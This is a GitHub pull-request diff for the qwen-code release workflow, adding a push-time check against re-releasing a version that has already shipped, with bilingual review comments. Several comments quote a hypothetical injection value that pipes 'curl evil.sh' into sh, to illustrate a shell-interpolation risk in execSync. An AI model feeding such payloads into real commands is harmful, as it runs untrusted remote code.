Skip to content
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
59 changes: 57 additions & 2 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -335,6 +335,23 @@ jobs:
)
)
}}
# Set when the push-time guard decisively refuses because the version
# already shipped; notify_failure keeps this benign refusal out of the
# release-failed issue and autofix dispatch.
outputs:
version_refusal: '${{ steps.push_release_branch.outputs.version_refusal }}'
# Serialize publish per release tag: the pre-push re-validation in the
# push step is only sound while at most one run pushes and publishes a
# given version at a time, and --force removed the non-fast-forward
# rejection that used to serialize the push itself. In-progress runs are
# never cancelled; of queued same-tag runs only the latest survives, but
# whichever run reaches the push re-validates first, so the invariant
# holds. is_dry_run is part of the key because a dry run ships nothing
# (no push, tag, or release) and must not queue ahead of — or delay —
# the real release for the same tag.
concurrency:
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'
cancel-in-progress: false
environment:
name: 'production-release'
url: '${{ github.server_url }}/${{ github.repository }}/releases/tag/${{ needs.prepare.outputs.release_tag }}'
Expand Down Expand Up @@ -393,10 +410,13 @@ jobs:
npm run release:version "${RELEASE_VERSION}"

- name: 'Commit and Conditionally Push package versions'
id: 'push_release_branch'
env:
BRANCH_NAME: '${{ steps.release_branch.outputs.BRANCH_NAME }}'
GITHUB_TOKEN: '${{ github.token }}'
IS_DRY_RUN: '${{ needs.prepare.outputs.is_dry_run }}'
RELEASE_TAG: '${{ needs.prepare.outputs.release_tag }}'
RELEASE_VERSION: '${{ needs.prepare.outputs.release_version }}'
run: |-
git add package.json package-lock.json packages/*/package.json packages/channels/*/package.json integrations/external-context/package.json
if git diff --staged --quiet; then
Expand All @@ -405,8 +425,34 @@ jobs:
git commit -m "chore(release): ${RELEASE_TAG}"
fi
if [[ "${IS_DRY_RUN}" == "false" ]]; then
# Force: a failed earlier attempt may have left this branch on an
# older head, and its divergent bump commit would fail a plain
# retry push as non-fast-forward. Replacing it is safe only while
# nothing for this version has shipped. prepare checked that once,
# but the validation jobs and the production-release approval gate
# separate that check from this push by minutes to hours, so
# re-validate prepare's invariant (doesVersionExist in
# scripts/get-release-version.js) at push time against the live
# registry, origin's tags, and GitHub releases: a concurrent
# same-version run that shipped in between would otherwise have
# its branch tip — and the tag and merge-to-main anchored to it —
# silently replaced. The script owns the published-package list,
# so this guard cannot drift from it. Exit 3 marks the decisive
# "already shipped" refusal, which the version_refusal output
# keeps out of the release-failed notification: such a refusal
# means the release shipped elsewhere (or partially), not that
# it failed. Any other non-zero exit stays a real failure.
GUARD_STATUS=0
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" || GUARD_STATUS=$?
if [[ "${GUARD_STATUS}" -eq 3 ]]; then
echo "version_refusal=true" >> "${GITHUB_OUTPUT}"
exit 1
fi
if [[ "${GUARD_STATUS}" -ne 0 ]]; then
exit "${GUARD_STATUS}"
fi
echo "Pushing release branch to remote..."
git push --set-upstream origin "${BRANCH_NAME}" --follow-tags
git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags
else
echo "Dry run enabled. Skipping push."
fi
Expand Down Expand Up @@ -649,6 +695,12 @@ jobs:
- 'integration_none'
- 'integration_docker'
- 'publish'
# The push-time guard's decisive "already shipped" refusal
# (version_refusal) is a correct outcome, not a release failure: the
# version shipped via another attempt, or partially, so filing a
# "Release Failed" issue and dispatching autofix would chase a release
# that did not fail. Genuine publish failures — including the guard's
# fail-closed probe errors — still notify.
if: |-
${{
always() &&
Expand All @@ -661,7 +713,10 @@ jobs:
needs.quality.result == 'failure' ||
needs.integration_none.result == 'failure' ||
needs.integration_docker.result == 'failure' ||
needs.publish.result == 'failure'
(
needs.publish.result == 'failure' &&
needs.publish.outputs.version_refusal != 'true'
)
Comment on lines +746 to +749

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Deferred — critical-only mode is active on this PR, so non-Critical automated-reviewer suggestions are not implemented in this round. The suggested fix (commenting on an open “Release Failed” issue on refusal, or writing the refusal detail to the step summary) extends release.yml’s notification path and needs a design call beyond this round’s scope; it stays open for human follow-up.

中文说明

暂缓 —— 本 PR 已触发仅处理 Critical 的模式,本轮不实施自动审查器的非 Critical 建议。建议的修复(拒绝时在已打开的 “Release Failed” issue 上评论,或将拒绝明细写入步骤摘要)会扩展 release.yml 的通知路径,需要超出本轮范围的设计决策;保持开放,留待人工跟进。

)
}}
permissions:
Expand Down
119 changes: 109 additions & 10 deletions scripts/get-release-version.js
Original file line number Diff line number Diff line change
Expand Up @@ -180,7 +180,7 @@ function detectRollbackAndGetBaseline(npmDistTag) {
* All packages that share the same release version. A version is considered
* "taken" if it exists on *any* of them — not just the main package.
*/
const PUBLISHED_PACKAGES = [
export const PUBLISHED_PACKAGES = [
'@qwen-code/qwen-code',
'@qwen-code/audio-capture',
'@qwen-code/channel-base',
Expand All @@ -193,31 +193,76 @@ const PUBLISHED_PACKAGES = [
'@qwen-code/channel-weixin',
];

function doesVersionExist(version) {
function doesVersionExist(version, { strict = false, shippedTo } = {}) {
// Check NPM across all published packages
const shippedPackages = [];
for (const pkg of PUBLISHED_PACKAGES) {
try {
const command = `npm view ${pkg}@${version} version 2>/dev/null`;
// The best-effort path silences npm's expected E404 noise; strict
// mode needs that stderr to tell "absent" from a failed probe.
const command = strict
? `npm view ${pkg}@${version} version`
: `npm view ${pkg}@${version} version 2>/dev/null`;
Comment on lines +203 to +205

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] execSync shell interpolation of version in assertVersionUnreleased lacks semver validation — defense-in-depth against future refactoring

execSync runs through a shell by default, and version is interpolated into the command string. assertVersionUnreleased validates only that version is a non-empty string, not that it is a valid semver string. In the current workflow, version is always needs.prepare.outputs.release_version (a computed semver string), so this is not exploitable in production. However, if the script is ever refactored to accept version from a user-supplied input, a version like 1.2.3;curl evil.sh|sh would execute arbitrary shell commands.

Suggested change
const command = strict
? `npm view ${pkg}@${version} version`
: `npm view ${pkg}@${version} version 2>/dev/null`;
if (!/^\d+\.\d+\.\d+/.test(version)) {
throw new Error('invalid version format');
}

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

中文说明

execSync 默认通过 shell 运行命令,version 被直接拼接进命令字符串。assertVersionUnreleased 仅验证 version 为非空字符串,未验证其是否为有效的 semver 字符串。在当前工作流中,version 始终来自 prepare 任务的计算结果(受控的 semver),因此在生产环境中不可利用。但若将来重构后 version 来自用户输入,类似 1.2.3;curl evil.sh|sh 的值将执行任意 shell 命令。

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined — not worth the diff growth. The guard's version input is needs.prepare.outputs.release_version, a semver string computed by the prepare job, never user-supplied input; the finding itself notes this is not exploitable in production. Per AGENTS.md's Simplicity First we don't add validation for a scenario that cannot occur today — a future refactor that accepts user-supplied versions would add validation at that new boundary.

Also, the suggested regex is not end-anchored, so it accepts the finding's own injection example:

$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true

Implementing it as suggested would grow the diff without closing the hypothetical hole.

中文说明

不予采纳——不值得增加 diff。该守卫的 version 输入来自 needs.prepare.outputs.release_version,是 prepare 任务计算出的 semver 字符串,并非用户提供的输入;该发现本身也指出在生产环境中不可利用。按照 AGENTS.md 的 Simplicity First 原则,我们不为当前不可能发生的场景添加校验——未来若有重构接受用户提供的版本号,应在该新边界处添加校验。

另外,建议的正则未做结尾锚定,因此它会放行该发现自己举的注入示例:

$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true

按建议原样实现会增大 diff,却无法堵住这个假想的漏洞。

const output = execSync(command).toString().trim();
if (output === version) {
console.error(`Version ${version} already exists on NPM (${pkg}).`);
return true;
if (!strict) {
console.error(`Version ${version} already exists on NPM (${pkg}).`);
return true;
}
shippedPackages.push(pkg);
}
} catch (error) {
// E404 means the version is absent from this package. Strict mode
// guards the force push, so any other probe failure is "cannot
// verify" and must throw instead of passing.
if (strict && !error.message?.includes('E404')) {
throw new Error(
`Failed to verify ${pkg}@${version} on npm: ${error.message}`,
);
}
} catch (_error) {
// This is expected if the version doesn't exist on this package.
}
}
// Strict mode scans every package instead of stopping at the first hit
// so a partial publish's refusal can name everything that shipped. A hit
// ends the check: the remaining probes can no longer change the outcome,
// and a failed one would mask the refusal's recovery guidance.
if (shippedPackages.length > 0) {
console.error(
`Version ${version} already exists on NPM (${shippedPackages.join(', ')}).`,
);
shippedTo?.push(...shippedPackages);
return true;
}

// Check Git tags
// Check Git tags. Push-time callers pass strict: the checkout at job
// start can only know tags that existed when the job began, and the
// version may ship between that fetch and this push — check origin.
try {
if (strict) {
execSync(`git ls-remote --exit-code origin "refs/tags/v${version}"`);
console.error(`Git tag v${version} already exists on origin.`);
shippedTo?.push(`origin tag v${version}`);
return true;
}
const command = `git tag -l 'v${version}'`;
const tagOutput = execSync(command).toString().trim();
if (tagOutput === `v${version}`) {
console.error(`Git tag v${version} already exists.`);
return true;
}
} catch (error) {
console.error(`Failed to check git tags for conflicts: ${error.message}`);
if (strict) {
// ls-remote exits 2 when no ref matches; that is "tag absent". Any
// other failure means the check could not run — fail the push
// instead of reading a failed check as "unreleased".
if (error.status !== 2) {
throw new Error(
`Failed to verify tag v${version} on origin: ${error.message}`,
);
}
} else {
console.error(`Failed to check git tags for conflicts: ${error.message}`);
}
}

// Check GitHub releases
Expand All @@ -226,10 +271,16 @@ function doesVersionExist(version) {
const output = execSync(command).toString().trim();
if (output === `v${version}`) {
console.error(`GitHub release v${version} already exists.`);
shippedTo?.push(`GitHub release v${version}`);
return true;
}
} catch (error) {
if (!isExpectedMissingGitHubRelease(error)) {
if (strict) {
throw new Error(
`Failed to verify release v${version} on GitHub: ${error.message}`,
);
}
console.error(
`Failed to check GitHub releases for conflicts: ${error.message}`,
);
Expand All @@ -239,6 +290,28 @@ function doesVersionExist(version) {
return false;
}

/**
* Push-time re-validation of prepare's doesVersionExist invariant, for the
* release branch force push. Throws when the version has shipped anywhere
* (an error coded VERSION_SHIPPED, naming where it was found), or when a
* probe cannot run — a failed probe must not read as "unreleased".
*/
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || version.length === 0) {
throw new Error(
'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3',
);
}
const shippedTo = [];
if (doesVersionExist(version, { strict: true, shippedTo })) {
const error = new Error(
`Version ${version} has already shipped; refusing to force-push the release branch over it. Found on: ${shippedTo.join(', ')}. If a previous attempt published only part of the release, complete the remaining artifacts manually — re-running this job will keep failing here while the version stays published.`,
);
error.code = 'VERSION_SHIPPED';
throw error;
}
}

function getAndVerifyTags(npmDistTag, _gitTagPattern) {
// Detect rollback scenarios and get the correct baseline
const rollbackInfo = detectRollbackAndGetBaseline(npmDistTag);
Expand Down Expand Up @@ -508,6 +581,32 @@ export function getVersion(options = {}) {
return result;
}

/**
* CLI dispatch, exported for tests: `--assert-unreleased=<version>` runs
* the push-time guard; anything else prints the version JSON. Returns the
* exit code. Guard codes: 0 = unreleased, 3 = already shipped (a decisive,
* benign refusal the workflow marks to skip the release-failed
* notification), 2 = probe or usage failure. 1 is never returned on
* purpose: node exits 1 on uncaught errors, and those must stay on the
* real-failure path.
*/
export function runCli(args) {
if (args['assert-unreleased'] !== undefined) {
try {
assertVersionUnreleased(args['assert-unreleased']);
} catch (error) {
console.error(`::error::${error.message}`);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] ::error:: annotation written to stderr via console.error is not parsed by GitHub Actions runner — should use console.log (stdout)

GitHub Actions parses workflow commands like ::error:: from stdout, not stderr. The error message is still visible in raw logs but is not annotated in the GitHub Actions UI. The workflow logic is unaffected (it keys on the exit code), but operators scanning the UI for error annotations will miss this one.

Suggested change
console.error(`::error::${error.message}`);
console.log(`::error::${error.message}`);

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

中文说明

console.error 将内容写入 stderr,而 GitHub Actions 从 stdout 解析工作流命令(如 ::error::)。错误信息仍会显示在原始日志中,但不会被标注在 GitHub Actions UI 的错误注释区域。工作流逻辑不受影响(通过退出码判断),但运维人员在 UI 中扫描错误注释时将错过此条。

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

return error.code === 'VERSION_SHIPPED' ? 3 : 2;
}
return 0;
}
console.log(JSON.stringify(getVersion(args), null, 2));
return 0;
}

if (process.argv[1] === fileURLToPath(import.meta.url)) {
console.log(JSON.stringify(getVersion(getArgs()), null, 2));
const exitCode = runCli(getArgs());
if (exitCode !== 0) {
process.exit(exitCode);
}
}
Loading
Loading